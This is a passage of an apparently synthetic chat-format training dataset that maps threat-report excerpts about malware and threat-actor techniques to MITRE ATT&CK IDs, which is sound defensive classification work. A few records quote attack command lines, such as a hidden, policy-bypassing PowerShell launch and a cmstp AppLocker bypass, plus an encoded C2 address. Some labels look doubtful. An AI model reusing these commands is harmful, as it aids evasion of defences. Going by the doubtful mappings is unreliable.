                "content": "It will run the newly downloaded PowerShell script by running the following command via cmd /c:       wscript.exe \"Office365DCOMCheck.vbs\" \"PowerShell.exe-ExecutionPolicy bypass -WindowStyle hidden -NoProfile <path to Office365DCOMCheck.ps1 script>\"     The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used the command \"cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\XKNqbpzl.txt\" to bypass AppLocker and launch a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - Signed Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brave Prince terminates antimalware processes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider used \"wmic.exe\" to add a new user to the system."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has used Base64 to encode PowerShell commands. DarkWatchman has been delivered as compressed RAR payloads in ZIP files to victims."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has used a packed installer file."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer communicates with its C2 servers over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum's loader can create a new service named NtmsSvc to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module to create, delete, or modify Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File starts as mico-audio.exe and installs to C:\\Users\\%USERNAME%\\AppData\\Roaming\\google-chrome\\crome.exe"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution is known to be used by Lazarus. We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus (Figure 19"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has the ability to create a pipe to enable inter-process communication."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that .hwp is the extension used by Hangul Word Processor from Hangul Office, which is very popular in South Korea"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified. The following example Python code shows how this encryption takes place:"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu executes additional VBScript code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Different drivers will be loaded based on the system version. The malware uses IsWow64Process to determine which driver version to load. These drivers are stored in the resource section of the binary and are compressed with the Lempel-Ziv algorithm. The driver file is written to system32\\drivers with a 4-character, pseudo-randomly generated name. This file is then decompressed using LZCopy to a new file with a “.sys” extension"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal's dropper creates VBS scripts on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can modify the `HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\` registry key so it can bypass the VB object model (VBOM) on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Last March, we reported a WildPressure campaign targeting industrial-related entities in the Middle East. While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has searched public code repositories for exposed credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector has been disguised as a legitimate service using the name PythonUpdateSrvc."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload is embedded in the macro as Base64 code. It uses the certutil program to decode the Base64 into a PE file which is then executed"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARDUMP's scheduled task has been named `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` or `MicrosoftEdgeCrashRepoeterTaskMachineUA`, depending on the Windows OS version."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DNS as its C2 protocol."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CaddyWiper can use `DsRoleGetPrimaryDomainInformation` to determine the role of the infected machine. CaddyWiper can also halt execution if the compromised host is identified as a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In both Carbanak and FIN7 attacks, communication with users’ compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group’s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enable remote desktop on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has collected data and files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory. XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running \"ls -la ~/Library/Application\\ Support/MobileSync/Backup/\"."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can gain execution after a user clicks on a malicious link to decoy landing pages hosted on Google Docs."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has used batch scripts that can disable the Windows firewall on specific remote machines."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Successfully checking the loader will execute the dllhost.exe process and create a hardcode mutex to avoid injecting it into the wrong dllhost.exe, as there can be multiple instances of it depending on the number of programs using the Internet Information Services"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used the command-line interface for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability to exfiltrate data over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes the following command in a new process to add persistence"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spreading technique observed by Anomali researchers is the same one used in previous campaigns. The malware in both previous and ongoing campaign assumes that it has root level access on the machine. Below are code snippets from the current campaign and the campaign reported by Unit 42, where the threat actor uses ssh keys and known hosts if they are available to infect other machines"
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer has used dynamic API resolution to avoid identifiable strings within the binary, including \"RegEnumKeyW\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch can exfiltrate files from compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When running with root privileges after a Launch Agent is installed, ThiefQuest installs a plist file to the \"/Library/LaunchDaemons/\" folder with the \"RunAtLoad\" key set to \"true\" establishing persistence as a Launch Daemon."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads a new version of itself once it has installed. It also downloads additional plugins."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initial QAKBOT .zip file bypasses some antivirus detections due to password protections."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can obtain information about security software on the victim."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products. After a few months, Turla has improved these scripts and is now using them to load a wide range of custom malware from its traditional arsenal. PowerShell Loader . The PowerShell loader has three main steps: persistence, decryption and loading into memory of the embedded executable or library. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload. WMI consumer PowerShell command . Finally, the script stores the encrypted payload in the Windows registry. Hijacked profile.ps1 file . The base64-encoded PowerShell command is very similar to the one used in the WMI consumers. The key and the salt are also different for each script and are not stored in the script, but only in the WMI filter or in the profile.ps1 file. Patching of AmsiScanBuffer function . Payloads . The PowerShell scripts we have presented are generic components used to load various payloads, such as an RPC Backdoor and a PowerShell backdoor. We have seen operators use this backdoor for the following purposes: Conclusion . In a 2018 blogpost, we predicted that Turla would use more and more generic tools. Finally, the usage of open-source tools does not mean Turla has stopped using its custom tools"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has used a variety of Windows API functions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory', 'T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROADTools leverages valid cloud credentials to perform enumeration operations using the internal Azure AD Graph API."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has used Rundll32 to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy has used the Ryeol HTTP Client to facilitate HTTP internet communication."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal main module The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years. Adding to the change in encryption type, a large part of the code such as network communication procedures, and the persistence method have been re-written. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used DNS for C2 including the publicly available \"requestbin.net\" tunneling service."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial beacon packet for Misdat contains the operating system version of the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture the victim's screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used a tool to query the Registry for proxy settings."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "See the following for more information and examples of false flags being used in cyberattacks: Wave your false flags! …or the Nightmares and Nuances of a Self-Aware Attribution Space OlympicDestroyer is here to trick the industry Malware description The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox has gained execution through user interaction with a malicious file."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "itwm= ags= oe= aq= btnG= oprnd= itwm= utm= channel= The XAgent OSX Trojan generates a system specific value that it refers to as an “agent_id”, which is a unique identifier for each compromised host"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses xor key [0x09, 0xff, 0x20] to decrypt content in .data section and get string “aHR0cDovLzUxLjE1LjE5Ni4zMC8xL2luZGV4LnBocA”. Then malware does base64 decoding to get the C2 address"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can send stolen information to C2 nodes including passwords, accounts, and emails."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An older variant of  performs UAC bypass."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a tool known as RemoteExec (similar to ) to remotely execute batch scripts and binaries."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates. Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1027 - Obfuscated Files or Information', 'T1204.002 - User Execution: Malicious File', 'T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seth-Locker can execute commands via the command line shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
